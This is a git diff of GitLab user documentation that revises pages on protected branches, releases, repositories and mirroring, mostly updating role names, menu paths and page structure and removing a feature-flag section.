@@ -5,7 +5,7 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# GitLab Pages Access Control
+# GitLab Pages access control **(FREE)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/33422) in GitLab 11.5.
> - Available on GitLab.com in GitLab 12.4.
diff --git a/doc/user/project/pages/redirects.md b/doc/user/project/pages/redirects.md
index 8c189614102..8ed6f214605 100644
--- a/doc/user/project/pages/redirects.md
+++ b/doc/user/project/pages/redirects.md
@@ -4,7 +4,7 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Create redirects for GitLab Pages
+# Create redirects for GitLab Pages **(FREE)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/24) in GitLab Pages 1.25.0 and GitLab 13.4 behind a feature flag, disabled by default.
> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab-pages/-/merge_requests/367) in GitLab 13.5.
diff --git a/doc/user/project/protected_branches.md b/doc/user/project/protected_branches.md
index 673a756f18d..4b77236f808 100644
--- a/doc/user/project/protected_branches.md
+++ b/doc/user/project/protected_branches.md
@@ -36,7 +36,7 @@ The default branch protection level is set in the [Admin Area](../admin_area/set
Prerequisite:
-- You must have at least maintainer permissions.
+- You must have at least the [Maintainer role](../permissions.md).
To protect a branch:
@@ -163,7 +163,7 @@ To create a new branch through the user interface:
## Delete a protected branch
From time to time, you may need to delete or clean up protected branches.
-User with [Maintainer permissions](../permissions.md) and greater can manually delete protected
+User with the [Maintainer role](../permissions.md) and greater can manually delete protected
branches by using the GitLab web interface:
1. Go to **Repository > Branches**.
@@ -179,24 +179,22 @@ command line or a Git client application.
## Allow force push on protected branches
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15611) in GitLab 13.10 behind a disabled feature flag.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-allow-force-push-on-protected-branches).
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/323431) in GitLab 14.0.
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
-You can allow force pushes to protected branches by either setting **Allow force push**
+You can allow [force pushes](../../topics/git/git_rebase.md#force-push) to
+protected branches by either setting **Allowed to force push**
when you protect a new branch, or by configuring an already-protected branch.
To protect a new branch and enable Force push:
1. Navigate to your project's **Settings > Repository**.
1. Expand **Protected branches**, and scroll to **Protect a branch**.
- ![Code Owners approval - new protected branch](img/code_owners_approval_new_protected_branch_v13_10.png)
1. Select a **Branch** or wildcard you'd like to protect.
1. Select the user levels **Allowed to merge** and **Allowed to push**.
-1. To allow all users with push access to force push, toggle the **Allow force push** slider.
+1. To allow all users with push access to force push, toggle the **Allowed to force push** slider.
1. To reject code pushes that change files listed in the `CODEOWNERS` file, toggle
**Require approval from code owners**.
1. Click **Protect**.
@@ -205,8 +203,7 @@ To enable force pushes on branches already protected:
1. Navigate to your project's **Settings > Repository**.
1. Expand **Protected branches** and scroll to **Protected branch**.
- ![Code Owners approval - branch already protected](img/code_owners_approval_protected_branch_v13_10.png)
-1. Toggle the **Allow force push** slider for the chosen branch.
+1. Toggle the **Allowed to force push** slider for the chosen branch.
When enabled, members who are allowed to push to this branch can also force push.
@@ -226,15 +223,11 @@ To protect a new branch and enable Code Owner's approval:
1. Scroll down to **Protect a branch**, select a **Branch** or wildcard you'd like to protect, select who's **Allowed to merge** and **Allowed to push**, and toggle the **Require approval from code owners** slider.
1. Click **Protect**.
-![Code Owners approval - new protected branch](img/code_owners_approval_new_protected_branch_v13_10.png)
-
To enable Code Owner's approval to branches already protected:
1. Navigate to your project's **Settings > Repository** and expand **Protected branches**.
1. Scroll down to **Protected branch** and toggle the **Code owner approval** slider for the chosen branch.
-![Code Owners approval - branch already protected](img/code_owners_approval_protected_branch_v13_10.png)
-
When enabled, all merge requests targeting these branches require approval
by a Code Owner per matched rule before they can be merged.
Additionally, direct pushes to the protected branch are denied if a rule is matched.
@@ -249,25 +242,6 @@ run CI/CD pipelines and execute actions on jobs that are related to those branch
See [Security on protected branches](../../ci/pipelines/index.md#pipeline-security-on-protected-branches)
for details about the pipelines security model.
-## Enable or disable allow force push on protected branches **(FREE SELF)**
-
-Allow force push on protected branches is ready for
-production use. It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can enable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:allow_force_push_to_protected_branches)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:allow_force_push_to_protected_branches)
-```
-
## Changelog
- **13.5**: [Allow Deploy keys to push to protected branches once more](https://gitlab.com/gitlab-org/gitlab/-/issues/30769).
diff --git a/doc/user/project/protected_tags.md b/doc/user/project/protected_tags.md
index 260f355349d..17a9cd5c8c6 100644
--- a/doc/user/project/protected_tags.md
+++ b/doc/user/project/protected_tags.md
@@ -21,7 +21,7 @@ anyone without Maintainer [permissions](../permissions.md) is prevented from cre
## Configuring protected tags
-To protect a tag, you need to have at least Maintainer [permissions](../permissions.md).
+To protect a tag, you need to have at least the [Maintainer role](../permissions.md).
1. Go to the project's **Settings > Repository**.
diff --git a/doc/user/project/quick_actions.md b/doc/user/project/quick_actions.md
index e1815785fb5..45cb5e74d6c 100644
--- a/doc/user/project/quick_actions.md
+++ b/doc/user/project/quick_actions.md
@@ -111,7 +111,6 @@ threads. Some quick actions might not be available to all subscription tiers.
| `/unlock` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Unlock the discussions. |
| `/unsubscribe` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Unsubscribe from notifications. |
| `/weight <value>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Set weight. Valid options for `<value>` include `0`, `1`, `2`, and so on. |
-| `/wip` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Toggle the draft status. |
| `/zoom <Zoom URL>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Add Zoom meeting to this issue ([introduced in GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16609)). |
## Commit messages
diff --git a/doc/user/project/releases/index.md b/doc/user/project/releases/index.md
index 1ea21b1f269..71cbff9e545 100644
--- a/doc/user/project/releases/index.md
+++ b/doc/user/project/releases/index.md
@@ -33,7 +33,7 @@ and attach [release assets](#release-assets), like runbooks or packages.
To view a list of releases:
-- Go to **Project overview > Releases**, or
+- On the left sidebar, select **Deployments > Releases**, or
- On the project's overview page, if at least one release exists, click the number of releases.
@@ -64,8 +64,7 @@ Read more about [Release permissions](../../../user/permissions.md#project-membe
To create a new release through the GitLab UI:
-1. Navigate to **Project overview > Releases** and click the **New release**
- button.
+1. On the left sidebar, select **Deployments > Releases** and select **New release**.
1. Open the [**Tag name**](#tag-name) dropdown. Select an existing tag or type
in a new tag name. Selecting an existing tag that is already associated with
a release will result in a validation error.
@@ -105,7 +104,7 @@ Read more about [Release permissions](../../../user/permissions.md#project-membe
To edit the details of a release:
-1. Navigate to **Project overview > Releases**.
+1. On the left sidebar, select **Deployments > Releases**.
1. In the top-right corner of the release you want to modify, click **Edit this release** (the pencil icon).
1. On the **Edit Release** page, change the release's details.
1. Click **Save changes**.
@@ -151,12 +150,12 @@ the [Releases API](../../../api/releases/index.md#create-a-release).
In the user interface, to associate milestones to a release:
-1. Navigate to **Project overview > Releases**.
+1. On the left sidebar, select **Deployments > Releases**.
1. In the top-right corner of the release you want to modify, click **Edit this release** (the pencil icon).
1. From the **Milestones** list, select each milestone you want to associate. You can select multiple milestones.
1. Click **Save changes**.
-On the **Project overview > Releases** page, the **Milestone** is listed in the top
+On the **Deployments > Releases** page, the **Milestone** is listed in the top
section, along with statistics about the issues in the milestones.
![A Release with one associated milestone](img/release_with_milestone_v12_9.png)
@@ -176,7 +175,7 @@ You can be notified by email when a new release is created for your project.
To subscribe to notifications for releases:
-1. Navigate to **Project overview**.
+1. On the left sidebar, select **Project information**.
1. Click **Notification setting** (the bell icon).
1. In the list, click **Custom**.
1. Select the **New release** check box.
@@ -209,8 +208,8 @@ deploy_to_production:
To set a deploy freeze window in the UI, complete these steps:
-1. Sign in to GitLab as a user with project Maintainer [permissions](../../permissions.md).
-1. Navigate to **Project overview**.
+1. Sign in to GitLab as a user with the [Maintainer role](../../permissions.md).
+1. On the left sidebar, select **Project information**.
1. In the left navigation menu, navigate to **Settings > CI/CD**.
1. Scroll to **Deploy freezes**.
1. Click **Expand** to see the deploy freeze table.
diff --git a/doc/user/project/repository/branches/default.md b/doc/user/project/repository/branches/default.md
index deacf119d38..6c2469ac377 100644
--- a/doc/user/project/repository/branches/default.md
+++ b/doc/user/project/repository/branches/default.md
@@ -65,7 +65,8 @@ GitLab [administrators](../../../permissions.md) of self-managed instances can
customize the initial branch for projects hosted on that instance. Individual
groups and subgroups can override this instance-wide setting for their projects.
-1. Go to **Admin Area > Settings > Repository**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Repository**.
1. Expand **Default initial branch name**.
1. Change the default initial branch to a custom name of your choice.
1. Select **Save changes**.
diff --git a/doc/user/project/repository/img/download_source_code.png b/doc/user/project/repository/img/download_source_code.png
deleted file mode 100644
index 8d62d19b291..00000000000
--- a/doc/user/project/repository/img/download_source_code.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/file_ext_icons_repo_v12_10.png b/doc/user/project/repository/img/file_ext_icons_repo_v12_10.png
deleted file mode 100644
index 04a8f38871b..00000000000
--- a/doc/user/project/repository/img/file_ext_icons_repo_v12_10.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/index.md b/doc/user/project/repository/index.md
index ed5bcc1f85a..7919850b8cc 100644
--- a/doc/user/project/repository/index.md
+++ b/doc/user/project/repository/index.md
@@ -8,75 +8,142 @@ type: concepts, howto
# Repository **(FREE)**
A [repository](https://git-scm.com/book/en/v2/Git-Basics-Getting-a-Git-Repository)
-is what you use to store your codebase in GitLab and change it with version control.
-A repository is part of a [project](../index.md), which has a lot of other features.
+is where you store your code and make changes to it. Your changes are tracked with version control.
+
+Each [project](../index.md) contains a repository.
## Create a repository
-To create a new repository, all you need to do is
-[create a new project](../../../user/project/working_with_projects.md#create-a-project) or
-[fork an existing project](forking_workflow.md).
+To create a repository, you can:
+
+- [Create a project](../../../user/project/working_with_projects.md#create-a-project) or
+- [Fork an existing project](forking_workflow.md).
+
+## Add files to a repository
+
+You can add files to a repository:
+
+- When you create a project.
+- After you create a project:
+ - By using [the web editor](web_editor.md).
+ - [From the command line](../../../gitlab-basics/command-line-commands.md).
+
+## Commit changes to a repository
+
+You can [commit your changes](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository),
+to a branch in the repository. When you use the command line, you can commit multiple times before you push.
+
+- **Commit message:**
+ A commit message identities what is being changed and why.
+ In GitLab, you can add keywords to the commit
+ message to perform one of the following actions:
+ - **Trigger a GitLab CI/CD pipeline:**
+ If the project is configured with [GitLab CI/CD](../../../ci/README.md),
+ you trigger a pipeline per push, not per commit.
+ - **Skip pipelines:**
+ Add the [`ci skip`](../../../ci/yaml/README.md#skip-pipeline) keyword to
+ your commit message to make GitLab CI/CD skip the pipeline.
+ - **Cross-link issues and merge requests:**
+ Use [cross-linking](../issues/crosslinking_issues.md#from-commit-messages)
+ to keep track of related parts of your workflow.
+ If you mention an issue or a merge request in a commit message, they are displayed
+ on their respective thread.
+- **Cherry-pick a commit:**
+ In GitLab, you can
+ [cherry-pick a commit](../merge_requests/cherry_pick_changes.md#cherry-picking-a-commit)
+ from the UI.
+- **Revert a commit:**
+ [Revert a commit](../merge_requests/revert_changes.md#reverting-a-commit)
+ from the UI to a selected branch.
+- **Sign a commit:**
+ Use GPG to [sign your commits](gpg_signed_commits/index.md).
+
+## Clone a repository
+
+You can [clone a repository by using the command line](../../../gitlab-basics/start-using-git.md#clone-a-repository).
+
+Alternatively, you can clone directly into a code editor.
+
+### Clone and open in Apple Xcode
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45820) in GitLab 11.0.
+
+Projects that contain a `.xcodeproj` or `.xcworkspace` directory can be cloned
+into Xcode on macOS.
+
+1. From the GitLab UI, go to the project's overview page.
+1. Select **Clone**.
+1. Select **Xcode**.
+
+The project is cloned onto your computer and you are
+prompted to open XCode.
+
+### Clone and open in Visual Studio Code
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220957) in GitLab 13.10.
+
+All projects can be cloned into Visual Studio Code. To do that:
+
+1. From the GitLab UI, go to the project's overview page.
+1. Click **Clone**.
+1. Select **Clone with Visual Studio Code** under either HTTPS or SSH method.
+1. Select a folder to clone the project into.
+
+When VS Code has successfully cloned your project, it opens the folder.
-Once you create a new project, you can add new files via UI
-(read the section below) or via command line.
-To add files from the command line, follow the instructions
-presented on the screen when you create a new project, or read
-through them in the [command line basics](../../../gitlab-basics/start-using-git.md)
-documentation.
+## Download the code in a repository
-> **Important:**
-For security reasons, when using the command line, we strongly recommend
-that you [connect with GitLab via SSH](../../../ssh/README.md).
+> - Support for directory download was [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/24704) in GitLab 11.11.
+> - Support for [including Git LFS blobs](../../../topics/git/lfs#lfs-objects-in-project-archives) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15079) in GitLab 13.5.
-## Files
+You can download the source code that's stored in a repository.
-Use a repository to store your files in GitLab. In [GitLab 12.10 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/33806),
-an icon identifying the extension is shown next to the filename:
+1. Above the file list, select the download icon (**{download}**).
+1. From the options, select the files you want to download.
-![Repository file icons](img/file_ext_icons_repo_v12_10.png)
+ - **Source code:**
+ Download the source code from the current branch you're viewing.
+ Available extensions: `zip`, `tar`, `tar.gz`, and `tar.bz2`.
+ - **Directory:**
+ Download a specific directory. Visible only when you view a subdirectory.
+ Available extensions: `zip`, `tar`, `tar.gz`, and `tar.bz2`.
+ - **Artifacts:**
+ Download the artifacts from the latest CI job.
-### Create and edit files
+## Repository languages
-Host your codebase in GitLab repositories by pushing your files to GitLab.
-You can either use the user interface (UI), or connect your local computer
-with GitLab [through the command line](../../../gitlab-basics/command-line-commands.md#start-working-on-your-project).
+For the default branch of each repository, GitLab determines which programming languages
+are used. This information is displayed on the **Project information** page.
-To configure [GitLab CI/CD](../../../ci/README.md) to build, test, and deploy
-your code, add a file called [`.gitlab-ci.yml`](../../../ci/quick_start/index.md)
-to your repository's root.
+![Repository Languages bar](img/repository_languages_v12_2.gif)
-**From the user interface:**
+When new files are added, this information can take up to five minutes to update.
-The GitLab UI allows you to perform lots of Git commands without having to
-touch the command line. Even if you use the command line regularly, sometimes
-it's easier to do so [via GitLab UI](web_editor.md):
+### Add repository languages
-- [Create a file](web_editor.md#create-a-file)
-- [Upload a file](web_editor.md#upload-a-file)
-- [File templates](web_editor.md#template-dropdowns)
-- [Create a directory](web_editor.md#create-a-directory)
-- [Start a merge request](web_editor.md#tips)
-- [Find file history](git_history.md)
-- [Identify changes by line (Git blame)](git_blame.md)
+Not all files are detected and listed on the **Project information** page. Documentation,
+vendor code, and most markup languages are excluded.
-**From the command line:**
+You can change this behavior by overriding the default settings.
-To get started with the command line, please read through the
-[command line basics documentation](../../../gitlab-basics/command-line-commands.md).
+1. In your repository's root directory, create a file named `.gitattributes`.
+1. Add a line that tells GitLab to include files of this type. For example,
+ to enable `.proto` files, add the following code:
-### Find files
+ ```plaintext
+ *.proto linguist-detectable=true
+ ```
-Use the GitLab [file finder](file_finder.md) to search for files in a repository.
+View a list of
+[supported data types](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml).
-### Supported markup languages and extensions
+This feature can use excessive CPU.
+For more information, see the [troubleshooting section](#repository-languages-excessive-cpu-use).
-GitLab supports a number of markup languages (sometimes called [lightweight
-markup languages](https://en.wikipedia.org/wiki/Lightweight_markup_language))
-that you can use for the content of your files in a repository. They are mostly
-used for documentation purposes.
+### Supported markup languages
-Just pick the right extension for your files and GitLab renders them
-according to the markup language.
+If your file has one of the following file extensions, GitLab renders the
+contents of the file's [markup language](https://en.wikipedia.org/wiki/Lightweight_markup_language) in the UI.
| Markup language | Extensions |
| --------------- | ---------- |
@@ -90,38 +157,25 @@ according to the markup language.
| [creole](http://www.wikicreole.org/) | `creole` |
| [MediaWiki](https://www.mediawiki.org/wiki/MediaWiki) | `wiki`, `mediawiki` |
-### Repository README and index files
-
-When a `README` or `index` file is present in a repository, its contents are
-automatically pre-rendered by GitLab without opening it.
-
-They can either be plain text or have an extension of a
-[supported markup language](#supported-markup-languages-and-extensions):
-
-Some things to note about precedence:
+### README and index files
-1. When both a `README` and an `index` file are present, the `README` always
- takes precedence.
-1. When more than one file is present with different extensions, they are
- ordered alphabetically, with the exception of a file without an extension,
- which is always last in precedence. For example, `README.adoc` takes
- precedence over `README.md`, and `README.rst` takes precedence over
- `README`.
+When a `README` or `index` file is present in a repository, GitLab renders its contents.
+These files can either be plain text or have the extension of a
+[supported markup language](#supported-markup-languages).
-### Jupyter Notebook files
-
-[Jupyter](https://jupyter.org/) Notebook (previously IPython Notebook) files are used for
-interactive computing in many fields and contain a complete record of the
-user's sessions and include code, narrative text, equations, and rich output.
-
-[Read how to use Jupyter notebooks with GitLab.](jupyter_notebooks/index.md)
+- When both a `README` and an `index` file are present, the `README` always
+ takes precedence.
+- When multiple files have the same name but a different extension, the files are
+ ordered alphabetically. Any file without an extension is ordered last.
+ For example, `README.adoc` takes precedence over `README.md`, and `README.rst`
+ takes precedence over `README`.
### OpenAPI viewer
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/19515) in GitLab 12.6.
-GitLab can render OpenAPI specification files with its file viewer, provided
-their filenames include `openapi` or `swagger` and their extension is `yaml`,
+GitLab can render OpenAPI specification files. The filename
+must include `openapi` or `swagger` and the extension must be `yaml`,
`yml`, or `json`. The following examples are all correct:
- `openapi.yml`
@@ -138,200 +192,73 @@ their filenames include `openapi` or `swagger` and their extension is `yaml`,
- `openapi.gitlab.yml`
- `gitlab.openapi.yml`
-Then, to render them:
+To render an OpenAPI file:
-1. Navigate to the OpenAPI file in your repository in the GitLab UI.
-1. Click the "Display OpenAPI" button which is located between the "Display source"
- and "Edit" buttons (when an OpenAPI file is found, it replaces the
- "Display rendered file" button).
+1. Go to the OpenAPI file in your repository.
+1. Between the **Display source** and **Edit** buttons, select **Display OpenAPI**. When an OpenAPI file is found, it replaces the
+ **Display rendered file** button.
-## Branches
+## Repository size
-For details, see [Branches](branches/index.md).
+The **Project information** page shows the size of all files in the repository. The size is
+updated, at most, every 15 minutes. The file size includes repository files, artifacts, and LFS.
-## Commits
+The size can differ slightly from one instance to another due to compression, housekeeping, and other factors.
-When you [commit your changes](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository),
-you are introducing those changes to your branch.
-Via command line, you can commit multiple times before pushing.
+Administrators can set a [repository size limit](../../admin_area/settings/account_and_limit_settings.md).
+[GitLab sets the size limits for GitLab.com](../../gitlab_com/index.md#account-and-limit-settings).
-- **Commit message:**
- A commit message is important to identity what is being changed and,
- more importantly, why. In GitLab, you can add keywords to the commit
- message that performs one of the actions below:
- - **Trigger a GitLab CI/CD pipeline:**
- If you have your project configured with [GitLab CI/CD](../../../ci/README.md),
- you trigger a pipeline per push, not per commit.
- - **Skip pipelines:**
- You can add to your commit message the keyword
- [`[ci skip]`](../../../ci/yaml/README.md#skip-pipeline),
- and GitLab CI/CD skips that pipeline.
- - **Cross-link issues and merge requests:**
- [Cross-linking](../issues/crosslinking_issues.md#from-commit-messages)
- is great to keep track of what's is somehow related in your workflow.
- If you mention an issue or a merge request in a commit message, they are shown
- on their respective thread.
-- **Cherry-pick a commit:**
- In GitLab, you can
- [cherry-pick a commit](../merge_requests/cherry_pick_changes.md#cherry-picking-a-commit)
- right from the UI.
-- **Revert a commit:**
- Easily [revert a commit](../merge_requests/revert_changes.md#reverting-a-commit)
- from the UI to a selected branch.
-- **Sign a commit:**
- Use GPG to [sign your commits](gpg_signed_commits/index.md).
-
-## Project and repository size
+## Repository contributor graph
-A project's size is reported on the project's **Details** page. The reported size is
-updated every 15 minutes at most, so may not reflect recent activity. The displayed files size includes repository files, artifacts, and LFS.
+All code contributors are displayed under your project's **Repository > Contributors**.
-The project size may differ slightly from one instance to another due to compression, housekeeping, and other factors.
-
-[Repository size limit](../../admin_area/settings/account_and_limit_settings.md) may be set by administrators.
-GitLab.com's repository size limit [is set by GitLab](../../gitlab_com/index.md#account-and-limit-settings).
-
-## Contributors
-
-All the contributors to your codebase are displayed under your project's **Settings > Contributors**.
-
-They are ordered from the collaborator with the greatest number
-of commits to the fewest, and displayed on a nice graph:
+The graph shows the contributor with the most commits to the fewest.
![contributors to code](img/contributors_graph.png)
-## Repository graph
-
-The repository graph displays the history of the repository network visually, including branches and merges. This can help you visualize the Git flow strategy used in the repository:
-
-![repository Git flow](img/repo_graph.png)
-
-Find it under your project's **Repository > Graph**.
+## Repository history graph
-## Repository languages
-
-For the default branch of each repository, GitLab determines what programming languages
-were used and displays this on the project's pages. If this information is missing, it's
-added after updating the default branch for the project. This process can take up to five
-minutes.
-
-![Repository Languages bar](img/repository_languages_v12_2.gif)
-
-Not all files are detected, among others; documentation,
-vendored code, and most markup languages are excluded. This behavior can be
-adjusted by overriding the default. For example, to enable `.proto` files to be
-detected, add the following to `.gitattributes` in the root of your repository.
-
-```plaintext
-*.proto linguist-detectable=true
-```
-
-Sometimes this feature can use excessive CPU.
-[Read about troubleshooting this](#repository-languages-excessive-cpu-use)
-and also more about customizing this feature using `.gitattributes`.
-
-## Locked files **(PREMIUM)**
+A repository graph displays a visual history of the repository network, including branches and merges.
+This graph can help you visualize the Git flow strategy used in the repository.
-Use [File Locking](../file_lock.md) to
-lock your files to prevent any conflicting changes.
-
-## Repository's API
-
-You can access your repositories via [repository API](../../../api/repositories.md).
-
-## Clone a repository
-
-Learn how to [clone a repository through the command line](../../../gitlab-basics/start-using-git.md#clone-a-repository).
-
-Alternatively, clone directly into a code editor as documented below.
-
-### Clone and open in Apple Xcode
+Go to your project's **Repository > Graph**.
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45820) in GitLab 11.0.
-
-Projects that contain a `.xcodeproj` or `.xcworkspace` directory can now be cloned
-into Xcode on macOS. To do that:
-
-1. From the GitLab UI, go to the project's overview page.
-1. Click **Clone**.
-1. Select **Xcode**.
-
-The project is cloned onto your computer in a folder of your choice and you are
-prompted to open XCode.
-
-### Clone and open in Visual Studio Code
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220957) in GitLab 13.10.
-
-All projects can be cloned into Visual Studio Code. To do that:
-
-1. From the GitLab UI, go to the project's overview page.
-1. Click **Clone**.
-1. Select **VS Code**.
-1. Select a folder to clone the project into.
-
-When VS Code has successfully cloned your project, it opens the folder.
-
-## Download source code
-
-> - Support for directory download was [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/24704) in GitLab 11.11.
-> - Support for [including Git LFS blobs](../../../topics/git/lfs#lfs-objects-in-project-archives) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15079) in GitLab 13.5.
-
-The source code stored in a repository can be downloaded from the UI.
-By clicking the download icon, a dropdown opens with links to download the following:
-
-![Download source code](img/download_source_code.png)
-
-- **Source code:**
- allows users to download the source code on branch they're currently
- viewing. Available extensions: `zip`, `tar`, `tar.gz`, and `tar.bz2`.
-- **Directory:**
- only shows up when viewing a sub-directory. This allows users to download
- the specific directory they're currently viewing. Also available in `zip`,
- `tar`, `tar.gz`, and `tar.bz2`.
-- **Artifacts:**
- allows users to download the artifacts of the latest CI build.
-
-## Redirects when changing repository paths
+![repository Git flow](img/repo_graph.png)
-When a repository path changes, it is essential to smoothly transition from the
-old location to the new one. GitLab provides two kinds of redirects: the web UI
-and Git push/pull redirects.
+## What happens when a repository path changes
-Depending on the situation, different things apply.
+When a repository path changes, GitLab handles the transition from the
+old location to the new one with a redirect.
-When [renaming a user](../../profile/index.md#change-your-username),
-[changing a group path](../../group/index.md#change-a-groups-path) or [renaming a repository](../settings/index.md#renaming-a-repository):
+When you [rename a user](../../profile/index.md#change-your-username),
+[change a group path](../../group/index.md#change-a-groups-path), or [rename a repository](../settings/index.md#renaming-a-repository):
-- Existing web URLs for the namespace and anything under it (such as projects) will
- redirect to the new URLs.
-- Starting with GitLab 10.3, existing Git remote URLs for projects under the
- namespace redirect to the new remote URL. Every time you push/pull to a
- repository that has changed its location, a warning message to update
- your remote is displayed instead of rejecting your action.
- This means that any automation scripts, or Git clients continue to
- work after a rename, making any transition a lot smoother.
+- URLs for the namespace and everything under it, like projects, are
+ redirected to the new URLs.
+- Git remote URLs for projects under the
+ namespace redirect to the new remote URL. When you push or pull to a
+ repository that has changed location, a warning message to update
+ your remote is displayed. Automation scripts or Git clients continue to
+ work after a rename.
- The redirects are available as long as the original path is not claimed by
- another group, user or project.
+ another group, user, or project.
## Troubleshooting
### Repository Languages: excessive CPU use
-GitLab uses a Ruby gem to scan all the files in the repository to determine what languages are used.
-[Sometimes this can use excessive CPU](https://gitlab.com/gitlab-org/gitaly/-/issues/1565) if
-a file type needs to be parsed by the gem to determine what sort of file it is.
+To determine which languages are in a repository's files, GitLab uses a Ruby gem.
+When the gem parses a file to determine which type it is, [the process can use excessive CPU](https://gitlab.com/gitlab-org/gitaly/-/issues/1565).
The gem contains a [heuristics configuration file](https://github.com/github/linguist/blob/master/lib/linguist/heuristics.yml)
-that defines what file extensions need to be parsed.
+that defines which file extensions must be parsed.
-Excessive CPU use has been reported for files with the extension `.txt` and XML files with
-a file extension that is not defined by the gem.
+Files with the `.txt` extension and XML files with an extension not defined by the gem can take excessive CPU.
-The workaround is to specify what language to assign to specific file extensions.
+The workaround is to specify the language to assign to specific file extensions.
The same approach should also allow misidentified file types to be fixed.
-1. Identify which language to specify. The gem contains a [configuration file for known data types](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml).
- The entry for `Text` files, for example:
+1. Identify the language to specify. The gem contains a [configuration file for known data types](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml).
+ To add an entry for text files, for example:
```yaml
Text:
@@ -350,4 +277,17 @@ The same approach should also allow misidentified file types to be fixed.
*.txt linguist-language=Text
```
- `*.txt` files have an entry in the heuristics file. The example above prevents parsing of these files.
+ `*.txt` files have an entry in the heuristics file. This example prevents parsing of these files.
+
+## Related topics
+
+- To lock files and prevent change conflicts, use [file locking](../file_lock.md).
+- [Repository API](../../../api/repositories.md).
+- [Find files](file_finder.md) in a repository.
+- [Branches](branches/index.md).
+- [File templates](web_editor.md#template-dropdowns).
+- [Create a directory](web_editor.md#create-a-directory).
+- [Start a merge request](web_editor.md#tips).
+- [Find file history](git_history.md).
+- [Identify changes by line (Git blame)](git_blame.md).
+- [Use Jupyter notebooks with GitLab](jupyter_notebooks/index.md).
diff --git a/doc/user/project/repository/jupyter_notebooks/index.md b/doc/user/project/repository/jupyter_notebooks/index.md
index 4b649bab4d9..2ad1504aac3 100644
--- a/doc/user/project/repository/jupyter_notebooks/index.md
+++ b/doc/user/project/repository/jupyter_notebooks/index.md
@@ -20,10 +20,9 @@ rendered to HTML when viewed:
Interactive features, including JavaScript plots, don't work when viewed in
GitLab.
-## Jupyter Hub as a GitLab Managed App
-
-You can deploy [Jupyter Hub as a GitLab managed app](../../../clusters/applications.md#jupyterhub).
-
## Jupyter Git integration
-Find out how to [leverage JupyterLab's Git extension on your Kubernetes cluster](../../../clusters/applications.md#jupyter-git-integration).
+Jupyter can be configured as an OAuth application with repository access, acting
+on behalf of the authenticated user. See the
+[Runbooks documentation](../../../project/clusters/runbooks/index.md) for an
+example configuration.
diff --git a/doc/user/project/repository/repository_mirroring.md b/doc/user/project/repository/repository_mirroring.md
index 3bbe9e6cb66..e9f214f08ce 100644
--- a/doc/user/project/repository/repository_mirroring.md
+++ b/doc/user/project/repository/repository_mirroring.md
@@ -8,7 +8,7 @@ disqus_identifier: 'https://docs.gitlab.com/ee/workflow/repository_mirroring.htm
# Repository mirroring **(FREE)**
Repository mirroring allows for the mirroring of repositories to and from external sources. You
-can use it to mirror branches, tags, and commits between repositories. It's useful when you want to use
+can use it to mirror branches, tags, and commits between repositories. It helps you use
a repository outside of GitLab.
A repository mirror at GitLab updates automatically. You can also manually trigger an update
@@ -22,21 +22,22 @@ There are two kinds of repository mirroring supported by GitLab:
When the mirror repository is updated, all new branches, tags, and commits are visible in the
project's activity feed.
-Users with [Maintainer access](../../permissions.md) to the project can also force an
+Users with the [Maintainer role](../../permissions.md) for the project can also force an
immediate update, unless:
- The mirror is already being updated.
- The [limit for pull mirroring interval seconds](../../../administration/instance_limits.md#pull-mirroring-interval) has not elapsed since its last update.
-For security reasons, the URL to the original repository is only displayed to users with
-Maintainer or Owner permissions to the mirrored project.
+For security reasons, the URL to the original repository is only displayed to users with the
+[Maintainer role](../../permissions.md) or the [Owner role](../../permissions.md) for the mirrored
+project.
## Use cases
The following are some possible use cases for repository mirroring:
- You migrated to GitLab but still need to keep your project in another source. In that case, you
- can simply set it up to mirror to GitLab (pull) and all the essential history of commits, tags,
+ can set it up to mirror to GitLab (pull) and all the essential history of commits, tags,
and branches are available in your GitLab instance. **(PREMIUM)**
- You have old projects in another source that you don't use actively anymore, but don't want to
remove for archiving purposes. In that case, you can create a push mirror so that your active
